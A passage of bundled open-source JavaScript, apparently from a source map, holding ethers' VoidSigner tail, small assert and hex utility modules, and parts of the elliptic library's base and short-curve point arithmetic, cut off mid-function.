TypedDataDomain, types: Record>, value: Record): Promise {\n return this._fail(\"VoidSigner cannot sign typed data\", \"signTypedData\");\n }\n\n connect(provider: Provider): VoidSigner {\n return new VoidSigner(this.address, provider);\n }\n}\n\n", "module.exports = assert;\n\nfunction assert(val, msg) {\n if (!val)\n throw new Error(msg || 'Assertion failed');\n}\n\nassert.equal = function assertEqual(l, r, msg) {\n if (l != r)\n throw new Error(msg || ('Assertion failed: ' + l + ' != ' + r));\n};\n", "'use strict';\n\nvar utils = exports;\n\nfunction toArray(msg, enc) {\n if (Array.isArray(msg))\n return msg.slice();\n if (!msg)\n return [];\n var res = [];\n if (typeof msg !== 'string') {\n for (var i = 0; i < msg.length; i++)\n res[i] = msg[i] | 0;\n return res;\n }\n if (enc === 'hex') {\n msg = msg.replace(/[^a-z0-9]+/ig, '');\n if (msg.length % 2 !== 0)\n msg = '0' + msg;\n for (var i = 0; i < msg.length; i += 2)\n res.push(parseInt(msg[i] + msg[i + 1], 16));\n } else {\n for (var i = 0; i < msg.length; i++) {\n var c = msg.charCodeAt(i);\n var hi = c >> 8;\n var lo = c & 0xff;\n if (hi)\n res.push(hi, lo);\n else\n res.push(lo);\n }\n }\n return res;\n}\nutils.toArray = toArray;\n\nfunction zero2(word) {\n if (word.length === 1)\n return '0' + word;\n else\n return word;\n}\nutils.zero2 = zero2;\n\nfunction toHex(msg) {\n var res = '';\n for (var i = 0; i < msg.length; i++)\n res += zero2(msg[i].toString(16));\n return res;\n}\nutils.toHex = toHex;\n\nutils.encode = function encode(arr, enc) {\n if (enc === 'hex')\n return toHex(arr);\n else\n return arr;\n};\n", "'use strict';\n\nvar utils = exports;\nvar BN = require('bn.js');\nvar minAssert = require('minimalistic-assert');\nvar minUtils = require('minimalistic-crypto-utils');\n\nutils.assert = minAssert;\nutils.toArray = minUtils.toArray;\nutils.zero2 = minUtils.zero2;\nutils.toHex = minUtils.toHex;\nutils.encode = minUtils.encode;\n\n// Represent num in a w-NAF form\nfunction getNAF(num, w, bits) {\n var naf = new Array(Math.max(num.bitLength(), bits) + 1);\n naf.fill(0);\n\n var ws = 1 << (w + 1);\n var k = num.clone();\n\n for (var i = 0; i < naf.length; i++) {\n var z;\n var mod = k.andln(ws - 1);\n if (k.isOdd()) {\n if (mod > (ws >> 1) - 1)\n z = (ws >> 1) - mod;\n else\n z = mod;\n k.isubn(z);\n } else {\n z = 0;\n }\n\n naf[i] = z;\n k.iushrn(1);\n }\n\n return naf;\n}\nutils.getNAF = getNAF;\n\n// Represent k1, k2 in a Joint Sparse Form\nfunction getJSF(k1, k2) {\n var jsf = [\n [],\n [],\n ];\n\n k1 = k1.clone();\n k2 = k2.clone();\n var d1 = 0;\n var d2 = 0;\n var m8;\n while (k1.cmpn(-d1) > 0 || k2.cmpn(-d2) > 0) {\n // First phase\n var m14 = (k1.andln(3) + d1) & 3;\n var m24 = (k2.andln(3) + d2) & 3;\n if (m14 === 3)\n m14 = -1;\n if (m24 === 3)\n m24 = -1;\n var u1;\n if ((m14 & 1) === 0) {\n u1 = 0;\n } else {\n m8 = (k1.andln(7) + d1) & 7;\n if ((m8 === 3 || m8 === 5) && m24 === 2)\n u1 = -m14;\n else\n u1 = m14;\n }\n jsf[0].push(u1);\n\n var u2;\n if ((m24 & 1) === 0) {\n u2 = 0;\n } else {\n m8 = (k2.andln(7) + d2) & 7;\n if ((m8 === 3 || m8 === 5) && m14 === 2)\n u2 = -m24;\n else\n u2 = m24;\n }\n jsf[1].push(u2);\n\n // Second phase\n if (2 * d1 === u1 + 1)\n d1 = 1 - d1;\n if (2 * d2 === u2 + 1)\n d2 = 1 - d2;\n k1.iushrn(1);\n k2.iushrn(1);\n }\n\n return jsf;\n}\nutils.getJSF = getJSF;\n\nfunction cachedProperty(obj, name, computer) {\n var key = '_' + name;\n obj.prototype[name] = function cachedProperty() {\n return this[key] !== undefined ? this[key] :\n this[key] = computer.call(this);\n };\n}\nutils.cachedProperty = cachedProperty;\n\nfunction parseBytes(bytes) {\n return typeof bytes === 'string' ? utils.toArray(bytes, 'hex') :\n bytes;\n}\nutils.parseBytes = parseBytes;\n\nfunction intFromLE(bytes) {\n return new BN(bytes, 'hex', 'le');\n}\nutils.intFromLE = intFromLE;\n\n", "'use strict';\n\nvar BN = require('bn.js');\nvar utils = require('../utils');\nvar getNAF = utils.getNAF;\nvar getJSF = utils.getJSF;\nvar assert = utils.assert;\n\nfunction BaseCurve(type, conf) {\n this.type = type;\n this.p = new BN(conf.p, 16);\n\n // Use Montgomery, when there is no fast reduction for the prime\n this.red = conf.prime ? BN.red(conf.prime) : BN.mont(this.p);\n\n // Useful for many curves\n this.zero = new BN(0).toRed(this.red);\n this.one = new BN(1).toRed(this.red);\n this.two = new BN(2).toRed(this.red);\n\n // Curve configuration, optional\n this.n = conf.n && new BN(conf.n, 16);\n this.g = conf.g && this.pointFromJSON(conf.g, conf.gRed);\n\n // Temporary arrays\n this._wnafT1 = new Array(4);\n this._wnafT2 = new Array(4);\n this._wnafT3 = new Array(4);\n this._wnafT4 = new Array(4);\n\n this._bitLength = this.n ? this.n.bitLength() : 0;\n\n // Generalized Greg Maxwell's trick\n var adjustCount = this.n && this.p.div(this.n);\n if (!adjustCount || adjustCount.cmpn(100) > 0) {\n this.redN = null;\n } else {\n this._maxwellTrick = true;\n this.redN = this.n.toRed(this.red);\n }\n}\nmodule.exports = BaseCurve;\n\nBaseCurve.prototype.point = function point() {\n throw new Error('Not implemented');\n};\n\nBaseCurve.prototype.validate = function validate() {\n throw new Error('Not implemented');\n};\n\nBaseCurve.prototype._fixedNafMul = function _fixedNafMul(p, k) {\n assert(p.precomputed);\n var doubles = p._getDoubles();\n\n var naf = getNAF(k, 1, this._bitLength);\n var I = (1 << (doubles.step + 1)) - (doubles.step % 2 === 0 ? 2 : 1);\n I /= 3;\n\n // Translate into more windowed form\n var repr = [];\n var j;\n var nafW;\n for (j = 0; j < naf.length; j += doubles.step) {\n nafW = 0;\n for (var l = j + doubles.step - 1; l >= j; l--)\n nafW = (nafW << 1) + naf[l];\n repr.push(nafW);\n }\n\n var a = this.jpoint(null, null, null);\n var b = this.jpoint(null, null, null);\n for (var i = I; i > 0; i--) {\n for (j = 0; j < repr.length; j++) {\n nafW = repr[j];\n if (nafW === i)\n b = b.mixedAdd(doubles.points[j]);\n else if (nafW === -i)\n b = b.mixedAdd(doubles.points[j].neg());\n }\n a = a.add(b);\n }\n return a.toP();\n};\n\nBaseCurve.prototype._wnafMul = function _wnafMul(p, k) {\n var w = 4;\n\n // Precompute window\n var nafPoints = p._getNAFPoints(w);\n w = nafPoints.wnd;\n var wnd = nafPoints.points;\n\n // Get NAF form\n var naf = getNAF(k, w, this._bitLength);\n\n // Add `this`*(N+1) for every w-NAF index\n var acc = this.jpoint(null, null, null);\n for (var i = naf.length - 1; i >= 0; i--) {\n // Count zeroes\n for (var l = 0; i >= 0 && naf[i] === 0; i--)\n l++;\n if (i >= 0)\n l++;\n acc = acc.dblp(l);\n\n if (i < 0)\n break;\n var z = naf[i];\n assert(z !== 0);\n if (p.type === 'affine') {\n // J +- P\n if (z > 0)\n acc = acc.mixedAdd(wnd[(z - 1) >> 1]);\n else\n acc = acc.mixedAdd(wnd[(-z - 1) >> 1].neg());\n } else {\n // J +- J\n if (z > 0)\n acc = acc.add(wnd[(z - 1) >> 1]);\n else\n acc = acc.add(wnd[(-z - 1) >> 1].neg());\n }\n }\n return p.type === 'affine' ? acc.toP() : acc;\n};\n\nBaseCurve.prototype._wnafMulAdd = function _wnafMulAdd(defW,\n points,\n coeffs,\n len,\n jacobianResult) {\n var wndWidth = this._wnafT1;\n var wnd = this._wnafT2;\n var naf = this._wnafT3;\n\n // Fill all arrays\n var max = 0;\n var i;\n var j;\n var p;\n for (i = 0; i < len; i++) {\n p = points[i];\n var nafPoints = p._getNAFPoints(defW);\n wndWidth[i] = nafPoints.wnd;\n wnd[i] = nafPoints.points;\n }\n\n // Comb small window NAFs\n for (i = len - 1; i >= 1; i -= 2) {\n var a = i - 1;\n var b = i;\n if (wndWidth[a] !== 1 || wndWidth[b] !== 1) {\n naf[a] = getNAF(coeffs[a], wndWidth[a], this._bitLength);\n naf[b] = getNAF(coeffs[b], wndWidth[b], this._bitLength);\n max = Math.max(naf[a].length, max);\n max = Math.max(naf[b].length, max);\n continue;\n }\n\n var comb = [\n points[a], /* 1 */\n null, /* 3 */\n null, /* 5 */\n points[b], /* 7 */\n ];\n\n // Try to avoid Projective points, if possible\n if (points[a].y.cmp(points[b].y) === 0) {\n comb[1] = points[a].add(points[b]);\n comb[2] = points[a].toJ().mixedAdd(points[b].neg());\n } else if (points[a].y.cmp(points[b].y.redNeg()) === 0) {\n comb[1] = points[a].toJ().mixedAdd(points[b]);\n comb[2] = points[a].add(points[b].neg());\n } else {\n comb[1] = points[a].toJ().mixedAdd(points[b]);\n comb[2] = points[a].toJ().mixedAdd(points[b].neg());\n }\n\n var index = [\n -3, /* -1 -1 */\n -1, /* -1 0 */\n -5, /* -1 1 */\n -7, /* 0 -1 */\n 0, /* 0 0 */\n 7, /* 0 1 */\n 5, /* 1 -1 */\n 1, /* 1 0 */\n 3, /* 1 1 */\n ];\n\n var jsf = getJSF(coeffs[a], coeffs[b]);\n max = Math.max(jsf[0].length, max);\n naf[a] = new Array(max);\n naf[b] = new Array(max);\n for (j = 0; j < max; j++) {\n var ja = jsf[0][j] | 0;\n var jb = jsf[1][j] | 0;\n\n naf[a][j] = index[(ja + 1) * 3 + (jb + 1)];\n naf[b][j] = 0;\n wnd[a] = comb;\n }\n }\n\n var acc = this.jpoint(null, null, null);\n var tmp = this._wnafT4;\n for (i = max; i >= 0; i--) {\n var k = 0;\n\n while (i >= 0) {\n var zero = true;\n for (j = 0; j < len; j++) {\n tmp[j] = naf[j][i] | 0;\n if (tmp[j] !== 0)\n zero = false;\n }\n if (!zero)\n break;\n k++;\n i--;\n }\n if (i >= 0)\n k++;\n acc = acc.dblp(k);\n if (i < 0)\n break;\n\n for (j = 0; j < len; j++) {\n var z = tmp[j];\n p;\n if (z === 0)\n continue;\n else if (z > 0)\n p = wnd[j][(z - 1) >> 1];\n else if (z < 0)\n p = wnd[j][(-z - 1) >> 1].neg();\n\n if (p.type === 'affine')\n acc = acc.mixedAdd(p);\n else\n acc = acc.add(p);\n }\n }\n // Zeroify references\n for (i = 0; i < len; i++)\n wnd[i] = null;\n\n if (jacobianResult)\n return acc;\n else\n return acc.toP();\n};\n\nfunction BasePoint(curve, type) {\n this.curve = curve;\n this.type = type;\n this.precomputed = null;\n}\nBaseCurve.BasePoint = BasePoint;\n\nBasePoint.prototype.eq = function eq(/*other*/) {\n throw new Error('Not implemented');\n};\n\nBasePoint.prototype.validate = function validate() {\n return this.curve.validate(this);\n};\n\nBaseCurve.prototype.decodePoint = function decodePoint(bytes, enc) {\n bytes = utils.toArray(bytes, enc);\n\n var len = this.p.byteLength();\n\n // uncompressed, hybrid-odd, hybrid-even\n if ((bytes[0] === 0x04 || bytes[0] === 0x06 || bytes[0] === 0x07) &&\n bytes.length - 1 === 2 * len) {\n if (bytes[0] === 0x06)\n assert(bytes[bytes.length - 1] % 2 === 0);\n else if (bytes[0] === 0x07)\n assert(bytes[bytes.length - 1] % 2 === 1);\n\n var res = this.point(bytes.slice(1, 1 + len),\n bytes.slice(1 + len, 1 + 2 * len));\n\n return res;\n } else if ((bytes[0] === 0x02 || bytes[0] === 0x03) &&\n bytes.length - 1 === len) {\n return this.pointFromX(bytes.slice(1, 1 + len), bytes[0] === 0x03);\n }\n throw new Error('Unknown point format');\n};\n\nBasePoint.prototype.encodeCompressed = function encodeCompressed(enc) {\n return this.encode(enc, true);\n};\n\nBasePoint.prototype._encode = function _encode(compact) {\n var len = this.curve.p.byteLength();\n var x = this.getX().toArray('be', len);\n\n if (compact)\n return [ this.getY().isEven() ? 0x02 : 0x03 ].concat(x);\n\n return [ 0x04 ].concat(x, this.getY().toArray('be', len));\n};\n\nBasePoint.prototype.encode = function encode(enc, compact) {\n return utils.encode(this._encode(compact), enc);\n};\n\nBasePoint.prototype.precompute = function precompute(power) {\n if (this.precomputed)\n return this;\n\n var precomputed = {\n doubles: null,\n naf: null,\n beta: null,\n };\n precomputed.naf = this._getNAFPoints(8);\n precomputed.doubles = this._getDoubles(4, power);\n precomputed.beta = this._getBeta();\n this.precomputed = precomputed;\n\n return this;\n};\n\nBasePoint.prototype._hasDoubles = function _hasDoubles(k) {\n if (!this.precomputed)\n return false;\n\n var doubles = this.precomputed.doubles;\n if (!doubles)\n return false;\n\n return doubles.points.length >= Math.ceil((k.bitLength() + 1) / doubles.step);\n};\n\nBasePoint.prototype._getDoubles = function _getDoubles(step, power) {\n if (this.precomputed && this.precomputed.doubles)\n return this.precomputed.doubles;\n\n var doubles = [ this ];\n var acc = this;\n for (var i = 0; i < power; i += step) {\n for (var j = 0; j < step; j++)\n acc = acc.dbl();\n doubles.push(acc);\n }\n return {\n step: step,\n points: doubles,\n };\n};\n\nBasePoint.prototype._getNAFPoints = function _getNAFPoints(wnd) {\n if (this.precomputed && this.precomputed.naf)\n return this.precomputed.naf;\n\n var res = [ this ];\n var max = (1 << wnd) - 1;\n var dbl = max === 1 ? null : this.dbl();\n for (var i = 1; i < max; i++)\n res[i] = res[i - 1].add(dbl);\n return {\n wnd: wnd,\n points: res,\n };\n};\n\nBasePoint.prototype._getBeta = function _getBeta() {\n return null;\n};\n\nBasePoint.prototype.dblp = function dblp(k) {\n var r = this;\n for (var i = 0; i < k; i++)\n r = r.dbl();\n return r;\n};\n", "if (typeof Object.create === 'function') {\n // implementation from standard node.js 'util' module\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n ctor.prototype = Object.create(superCtor.prototype, {\n constructor: {\n value: ctor,\n enumerable: false,\n writable: true,\n configurable: true\n }\n })\n }\n };\n} else {\n // old school shim for old browsers\n module.exports = function inherits(ctor, superCtor) {\n if (superCtor) {\n ctor.super_ = superCtor\n var TempCtor = function () {}\n TempCtor.prototype = superCtor.prototype\n ctor.prototype = new TempCtor()\n ctor.prototype.constructor = ctor\n }\n }\n}\n", "'use strict';\n\nvar utils = require('../utils');\nvar BN = require('bn.js');\nvar inherits = require('inherits');\nvar Base = require('./base');\n\nvar assert = utils.assert;\n\nfunction ShortCurve(conf) {\n Base.call(this, 'short', conf);\n\n this.a = new BN(conf.a, 16).toRed(this.red);\n this.b = new BN(conf.b, 16).toRed(this.red);\n this.tinv = this.two.redInvm();\n\n this.zeroA = this.a.fromRed().cmpn(0) === 0;\n this.threeA = this.a.fromRed().sub(this.p).cmpn(-3) === 0;\n\n // If the curve is endomorphic, precalculate beta and lambda\n this.endo = this._getEndomorphism(conf);\n this._endoWnafT1 = new Array(4);\n this._endoWnafT2 = new Array(4);\n}\ninherits(ShortCurve, Base);\nmodule.exports = ShortCurve;\n\nShortCurve.prototype._getEndomorphism = function _getEndomorphism(conf) {\n // No efficient endomorphism\n if (!this.zeroA || !this.g || !this.n || this.p.modn(3) !== 1)\n return;\n\n // Compute beta and lambda, that lambda * P = (beta * Px; Py)\n var beta;\n var lambda;\n if (conf.beta) {\n beta = new BN(conf.beta, 16).toRed(this.red);\n } else {\n var betas = this._getEndoRoots(this.p);\n // Choose the smallest beta\n beta = betas[0].cmp(betas[1]) < 0 ? betas[0] : betas[1];\n beta = beta.toRed(this.red);\n }\n if (conf.lambda) {\n lambda = new BN(conf.lambda, 16);\n } else {\n // Choose the lambda that is matching selected beta\n var lambdas = this._getEndoRoots(this.n);\n if (this.g.mul(lambdas[0]).x.cmp(this.g.x.redMul(beta)) === 0) {\n lambda = lambdas[0];\n } else {\n lambda = lambdas[1];\n assert(this.g.mul(lambda).x.cmp(this.g.x.redMul(beta)) === 0);\n }\n }\n\n // Get basis vectors, used for balanced length-two representation\n var basis;\n if (conf.basis) {\n basis = conf.basis.map(function(vec) {\n return {\n a: new BN(vec.a, 16),\n b: new BN(vec.b, 16),\n };\n });\n } else {\n basis = this._getEndoBasis(lambda);\n }\n\n return {\n beta: beta,\n lambda: lambda,\n basis: basis,\n };\n};\n\nShortCurve.prototype._getEndoRoots = function _getEndoRoots(num) {\n // Find roots of for x^2 + x + 1 in F\n // Root = (-1 +- Sqrt(-3)) / 2\n //\n var red = num === this.p ? this.red : BN.mont(num);\n var tinv = new BN(2).toRed(red).redInvm();\n var ntinv = tinv.redNeg();\n\n var s = new BN(3).toRed(red).redNeg().redSqrt().redMul(tinv);\n\n var l1 = ntinv.redAdd(s).fromRed();\n var l2 = ntinv.redSub(s).fromRed();\n return [ l1, l2 ];\n};\n\nShortCurve.prototype._getEndoBasis = function _getEndoBasis(lambda) {\n // aprxSqrt >= sqrt(this.n)\n var aprxSqrt = this.n.ushrn(Math.floor(this.n.bitLength() / 2));\n\n // 3.74\n // Run EGCD, until r(L + 1) < aprxSqrt\n var u = lambda;\n var v = this.n.clone();\n var x1 = new BN(1);\n var y1 = new BN(0);\n var x2 = new BN(0);\n var y2 = new BN(1);\n\n // NOTE: all vectors are roots of: a + b * lambda = 0 (mod n)\n var a0;\n var b0;\n // First vector\n var a1;\n var b1;\n // Second vector\n var a2;\n var b2;\n\n var prevR;\n var i = 0;\n var r;\n var x;\n while (u.cmpn(0) !== 0) {\n var q = v.div(u);\n r = v.sub(q.mul(u));\n x = x2.sub(q.mul(x1));\n var y = y2.sub(q.mul(y1));\n\n if (!a1 && r.cmp(aprxSqrt) < 0) {\n a0 = prevR.neg();\n b0 = x1;\n a1 = r.neg();\n b1 = x;\n } else if (a1 && ++i === 2) {\n break;\n }\n prevR = r;\n\n v = u;\n u = r;\n x2 = x1;\n x1 = x;\n y2 = y1;\n y1 = y;\n }\n a2 = r.neg();\n b2 = x;\n\n var len1 = a1.sqr().add(b1.sqr());\n var len2 = a2.sqr().add(b2.sqr());\n if (len2.cmp(len1) >= 0) {\n a2 = a0;\n b2 = b0;\n }\n\n // Normalize signs\n if (a1.negative) {\n a1 = a1.neg();\n b1 = b1.neg();\n }\n if (a2.negative) {\n a2 = a2.neg();\n b2 = b2.neg();\n }\n\n return [\n { a: a1, b: b1 },\n { a: a2, b: b2 },\n ];\n};\n\nShortCurve.prototype._endoSplit = function _endoSplit(k) {\n var basis = this.endo.basis;\n var v1 = basis[0];\n var v2 = basis[1];\n\n var c1 = v2.b.mul(k).divRound(this.n);\n var c2 = v1.b.neg().mul(k).divRound(this.n);\n\n var p1 = c1.mul(v1.a);\n var p2 = c2.mul(v2.a);\n var q1 = c1.mul(v1.b);\n var q2 = c2.mul(v2.b);\n\n // Calculate answer\n var k1 = k.sub(p1).sub(p2);\n var k2 = q1.add(q2).neg();\n return { k1: k1, k2: k2 };\n};\n\nShortCurve.prototype.pointFromX = function pointFromX(x, odd) {\n x = new BN(x, 16);\n if (!x.red)\n x = x.toRed(this.red);\n\n var y2 = x.redSqr().redMul(x).redIAdd(x.redMul(this.a)).redIAdd(this.b);\n var y = y2.redSqrt();\n if (y.redSqr().redSub(y2).cmp(this.zero) !== 0)\n throw new Error('invalid point');\n\n // XXX Is there any way to tell if the number is odd without converting it\n // to non-red form?\n var isOdd = y.fromRed().isOdd();\n if (odd && !isOdd || !odd && isOdd)\n y = y.redNeg();\n\n return this.point(x, y);\n};\n\nShortCurve.prototype.validate = function validate(point) {\n if (point.inf)\n return true;\n\n var x = point.x;\n var y = point.y;\n\n var ax = this.a.redMul(x);\n var rhs = x.redSqr().redMul(x).redIAdd(ax).redIAdd(this.b);\n return y.redSqr().redISub(rhs).cmpn(0) === 0;\n};\n\nShortCurve.prototype._endoWnafMulAdd =\n function _endoWnafMulAdd(points, coeffs, jacobianResult) {\n var npoints = this._endoWnafT1;\n var ncoeffs = this._endoWnafT2;\n for (var i = 0; i < points.length; i++) {\n var split = this._endoSplit(coeffs[i]);\n var p = points[i];\n var beta = p._getBeta();\n\n if (split.k1.negative) {\n split.k1.ineg();\n p = p.neg(true);\n }\n if (split.k2.negative) {\n split.k2.ineg();\n beta = beta.neg(true);\n }\n\n npoints[i * 2] = p;\n npoints[i * 2 + 1] = beta;\n ncoeffs[i * 2] = split.k1;\n ncoeffs[i * 2 + 1] = split.k2;\n }\n var res = this._wnafMulAdd(1, npoints, ncoeffs, i * 2, jacobianResult);\n\n // Clean-up references to points and coefficients\n for (var j = 0; j < i * 2; j++) {\n npoints[j] = null;\n ncoeffs[j] = null;\n }\n return res;\n };\n\nfunction Point(curve, x, y, isRed) {\n Base.BasePoint.call(this, curve, 'affine');\n if (x === null && y === null) {\n this.x = null;\n this.y = null;\n this.inf = true;\n } else {\n this.x = new BN(x, 16);\n this.y = new BN(y, 16);\n // Force redgomery representation when loading from JSON\n if (isRed) {\n this.x.forceRed(this.curve.red);\n this.y.forceRed(this.curve.red);\n }\n if (!this.x.red)\n this.x = this.x.toRed(this.curve.red);\n if (!this.y.red)\n this.y = this.y.toRed(this.curve.red);\n this.inf = false;\n }\n}\ninherits(Point, Base.BasePoint);\n\nShortCurve.prototype.point = function point(x, y, isRed) {\n return new Point(this, x, y, isRed);\n};\n\nShortCurve.prototype.pointFromJSON = function pointFromJSON(obj, red) {\n return Point.fromJSON(this, obj, red);\n};\n\nPoint.prototype._getBeta = function _getBeta() {\n if (!this.curve.endo)\n return;\n\n var pre = this.precomputed;\n if (pre && pre.beta)\n return pre.beta;\n\n var beta = this.curve.point(this.x.redMul(this.curve.endo.beta), this.y);\n if (pre) {\n var curve = this.curve;\n var endoMul = function(p) {\n return curve.point(p.x.redMul(curve.endo.beta), p.y);\n };\n pre.beta = beta;\n beta.precomputed = {\n beta: null,\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: pre.naf.points.map(endoMul),\n },\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: pre.doubles.points.map(endoMul),\n },\n };\n }\n return beta;\n};\n\nPoint.prototype.toJSON = function toJSON() {\n if (!this.precomputed)\n return [ this.x, this.y ];\n\n return [ this.x, this.y, this.precomputed && {\n doubles: this.precomputed.doubles && {\n step: this.precomputed.doubles.step,\n points: this.precomputed.doubles.points.slice(1),\n },\n naf: this.precomputed.naf && {\n wnd: this.precomputed.naf.wnd,\n points: this.precomputed.naf.points.slice(1),\n },\n } ];\n};\n\nPoint.fromJSON = function fromJSON(curve, obj, red) {\n if (typeof obj === 'string')\n obj = JSON.parse(obj);\n var res = curve.point(obj[0], obj[1], red);\n if (!obj[2])\n return res;\n\n function obj2point(obj) {\n return curve.point(obj[0], obj[1], red);\n }\n\n var pre = obj[2];\n res.precomputed = {\n beta: null,\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: [ res ].concat(pre.doubles.points.map(obj2point)),\n },\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: [ res ].concat(pre.naf.points.map(obj2point)),\n },\n };\n return res;\n};\n\nPoint.prototype.inspect = function inspect() {\n if (this.isInfinity())\n return '';\n return '';\n};\n\nPoint.prototype.isInfinity = function isInfinity() {\n return this.inf;\n};\n\nPoint.prototype.add = function add(p) {\n // O + P = P\n if (this.inf)\n return p;\n\n // P + O = P\n if (p.inf)\n return this;\n\n // P + P = 2P\n if (this.eq(p))\n return this.dbl();\n\n // P + (-P) = O\n if (this.neg().eq(p))\n return this.curve.point(null, null);\n\n // P + Q = O\n if (this.x.cmp(p.x) === 0)\n return this.curve.point(null, null);\n\n var c = this.y.redSub(p.y);\n if (c.cmpn(0) !== 0)\n c = c.redMul(this.x.redSub(p.x).redInvm());\n var nx = c.redSqr().redISub(this.x).redISub(p.x);\n var ny = c.redMul(this.x.redSub(nx)).redISub(this.y);\n return this.curve.point(nx, ny);\n};\n\nPoint.prototype.dbl = function dbl() {\n if (this.inf)\n return this;\n\n // 2P = O\n var ys1 = this.y.redAdd(this.y);\n if (ys1.cmpn(0) === 0)\n return this.curve.point(null, null);\n\n var a = this.curve.a;\n\n var x2 = this.x.redSqr();\n var dyinv = ys1.redInvm();\n var c = x2.redAdd(x2).redIAdd(x2).redIAdd(a).redMul(dyinv);\n\n var nx = c.redSqr().redISub(this.x.redAdd(this.x));\n var ny = c.redMul(this.x.redSub(nx)).redISub(this.y);\n return this.curve.point(nx, ny);\n};\n\nPoint.prototype.getX = function getX() {\n return this.x.fromRed();\n};\n\nPoint.prototype.getY = function getY() {\n return this.y.fromRed();\n};\n\nPoint.prototype.mul = function mul(k) {\n k = new BN(k, 16);\n if (this.isInfinity())\n return this;\n else if (this._hasDoubles(k))\n return this.curve._fixedNafMul(this, k);\n else if (this.curve.endo)\n return this.curve._endoWnafMulAdd([ this ], [ k ]);\n else\n return this.curve._wnafMul(this, k);\n};\n\nPoint.prototype.mulAdd = function mulAdd(k1, p2, k2) {\n var points = [ this, p2 ];\n var coeffs = [ k1, k2 ];\n if (this.curve.endo)\n return this.curve._endoWnafMulAdd(points, coeffs);\n else\n return this.curve._wnafMulAdd(1, points, coeffs, 2);\n};\n\nPoint.prototype.jmulAdd = function jmulAdd(k1, p2, k2) {\n var points = [ this, p2 ];\n var coeffs = [ k1, k2 ];\n if (this.curve.endo)\n return this.curve._endoWnafMulAdd(points, coeffs, true);\n else\n return this.curve._wnafMulAdd(1, points, coeffs, 2, true);\n};\n\nPoint.prototype.eq = function eq(p) {\n return this === p ||\n this.inf === p.inf &&\n (this.inf || this.x.cmp(p.x) === 0 && this.y.cmp(p.y) === 0);\n};\n\nPoint.prototype.neg = function neg(_precompute) {\n if (this.inf)\n return this;\n\n var res = this.curve.point(this.x, this.y.redNeg());\n if (_precompute && this.precomputed) {\n var pre = this.precomputed;\n var negate = function(p) {\n return p.neg();\n };\n res.precomputed = {\n naf: pre.naf && {\n wnd: pre.naf.wnd,\n points: pre.naf.points.map(negate),\n },\n doubles: pre.doubles && {\n step: pre.doubles.step,\n points: pre.doubles.points.map(negate),\n },\n };\n }\n return res;\n};\n\nPoint.prototype.toJ = function toJ() {\n if (this.inf)\n return this.curve.jpoint(null, null, null);\n\n var res = this.curve.jpoint(this.x, this.y, this.curve.one);\n return res;\n};\n\nfunction JPoint(curve, x, y, z) {\n Base.BasePoint.call(this, curve, 'jacobian');\n if (x === null && y === null && z === null) {\n this.x = this.curve.one;\n this.y = this.curve.one;\n this.z = new BN(0);\n } else {\n this.x = new BN(x, 16);\n this.y = new BN(y, 16);\n this.z = new BN(z, 16);\n }\n if (!this.x.red)\n this.x = this.x.toRed(this.curve.red);\n if (!this.y.red)\n this.y = this.y.toRed(this.curve.red);\n if (!this.z.red)\n this.z = this.z.toRed(this.curve.red);\n\n this.zOne = this.z === this.curve.one;\n}\ninherits(JPoint, Base.BasePoint);\n\nShortCurve.prototype.jpoint = function jpoint(x, y, z) {\n return new JPoint(this, x, y, z);\n};\n\nJPoint.prototype.toP = function toP() {\n if (this.isInfinity())\n return this.curve.point(null, null);\n\n var zinv = this.z.redInvm();\n var zinv2 = zinv.redSqr();\n var ax = this.x.redMul(zinv2);\n var ay = this.y.redMul(zinv2).redMul(zinv);\n\n return this.curve.point(ax, ay);\n};\n\nJPoint.prototype.neg = function neg() {\n return this.curve.jpoint(this.x, this.y.redNeg(), this.z);\n};\n\nJPoint.prototype.add = function add(p) {\n // O + P = P\n if (this.isInfinity())\n return p;\n\n // P + O = P\n if (p.isInfinity())\n return this;\n\n // 12M + 4S + 7A\n var pz2 = p.z.redSqr();\n var z2 = this.z.redSqr();\n var u1 = this.x.redMul(pz2);\n var u2 = p.x.redMul(z2);\n var s1 = this.y.redMul(pz2.redMul(p.z));\n var s2 = p.y.redMul(z2.redMul(this.z));\n\n var h = u1.redSub(u2);\n var r = s1.redSub(s2);\n if (h.cmpn(0) === 0) {\n if (r.cmpn(0) !== 0)\n return this.curve.jpoint(null, null, null);\n else\n return this.dbl();\n }\n\n var h2 = h.redSqr();\n var h3 = h2.redMul(h);\n var v = u1.redMul(h2);\n\n var nx = r.redSqr().redIAdd(h3).redISub(v).redISub(v);\n var ny = r.redMul(v.redISub(nx)).redISub(s1.redMul(h3));\n var nz = this.z.redMul(p.z).redMul(h);\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype.mixedAdd = function mixedAdd(p) {\n // O + P = P\n if (this.isInfinity())\n return p.toJ();\n\n // P + O = P\n if (p.isInfinity())\n return this;\n\n // 8M + 3S + 7A\n var z2 = this.z.redSqr();\n var u1 = this.x;\n var u2 = p.x.redMul(z2);\n var s1 = this.y;\n var s2 = p.y.redMul(z2).redMul(this.z);\n\n var h = u1.redSub(u2);\n var r = s1.redSub(s2);\n if (h.cmpn(0) === 0) {\n if (r.cmpn(0) !== 0)\n return this.curve.jpoint(null, null, null);\n else\n return this.dbl();\n }\n\n var h2 = h.redSqr();\n var h3 = h2.redMul(h);\n var v = u1.redMul(h2);\n\n var nx = r.redSqr().redIAdd(h3).redISub(v).redISub(v);\n var ny = r.redMul(v.redISub(nx)).redISub(s1.redMul(h3));\n var nz = this.z.redMul(h);\n\n return this.curve.jpoint(nx, ny, nz);\n};\n\nJPoint.prototype.dblp = function dblp(pow) {\n if (pow === 0)\n return this;\n if (this.isInfinity())\n return this;\n if (!pow)\n return this.dbl();\n\n var i;\n if (this.curve.zeroA || this.curve.threeA) {\n var r = this;\n for (i = 0; i < pow; i++)\n r = r.dbl();\n return r;\n }\n\n // 1M + 2S + 1A + N * (4S + 5M + 8A)\n // N = 1 => 6M + 6S + 9A\n var a = this.curve.a;\n var tinv = this.curve.tinv;\n\n var jx = this.x;\n var jy = this.y;\n var jz = this.z;\n var jz4 = jz.redSqr().redSqr();\n\n // Reuse results\n var jyd = jy.redAdd(jy);\n for (i = 0; i < pow; i++) {\n var jx2 = jx.redSqr();\n var jyd2 = jyd.redSqr();\n var jyd4 = jyd2.redSqr();\n var c = 